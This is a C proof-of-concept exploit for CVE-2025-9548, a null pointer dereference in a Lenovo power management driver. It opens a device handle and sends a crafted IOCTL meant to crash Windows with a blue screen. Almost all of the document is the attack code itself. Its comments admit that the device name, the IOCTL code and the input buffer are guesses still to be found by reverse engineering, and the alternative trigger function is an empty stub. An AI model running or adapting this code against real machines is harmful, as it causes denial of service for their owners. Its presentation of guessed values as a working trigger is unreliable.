CVE-2025-9548：Lenovo电源管理驱动空指针解引用漏洞

// CVE-2025-9548 PoC - Lenovo Power Management Driver Null Pointer Dereference // This PoC demonstrates how to trigger the null pointer dereference vulnerability // in the Lenovo Power Management Driver to cause a Windows BSOD (Blue Screen). // // Note: This vulnerability requires local authenticated access with low privileges. // The exploit works by sending a specially crafted IOCTL request to the driver // without proper parameter validation, causing a null pointer dereference. #include <windows.h> #include <stdio.h> // Device name for Lenovo Power Management Driver // The exact device name may vary depending on the driver version #define LENOVO_PM_DEVICE "\\\\.\\LenovoPMDrv" // IOCTL code - This needs to be determined through reverse engineering // of the specific driver version. The vulnerable IOCTL handles power // management requests without proper null pointer checks. #define IOCTL_TRIGGER_VULN 0x00222000 int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; // Input buffer - crafted to trigger null pointer dereference // The exact structure depends on the driver's IOCTL handler char inputBuffer[16] = {0}; char outputBuffer[16] = {0}; printf("[+] CVE-2025-9548 PoC - Lenovo PM Driver NPD Trigger\n"); printf("[*] Attempting to open driver device...\n"); // Open a handle to the vulnerable driver hDevice = CreateFileA( LENOVO_PM_DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] Make sure the Lenovo PM Driver is installed and accessible.\n"); return 1; } printf("[+] Device opened successfully: 0x%p\n", hDevice); printf("[*] Sending crafted IOCTL request to trigger null pointer dereference...\n"); // Send the malicious IOCTL request // The crafted input buffer is designed to cause the driver to // dereference a null pointer during processing result = DeviceIoControl( hDevice, IOCTL_TRIGGER_VULN, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL sent successfully. System may BSOD if vulnerable.\n"); } CloseHandle(hDevice); return 0; } // Alternative trigger method using symbolic link access // Some versions of the driver expose functionality through different paths int triggerViaSymbolicLink() { // Additional trigger vectors may include: // 1. Sending specific power management events via power management API // 2. Triggering specific system state transitions (sleep/hibernate) // 3. Accessing specific driver registry keys with crafted values // The exact trigger mechanism requires driver reverse engineering // to identify the specific code path with the null pointer dereference return 0; }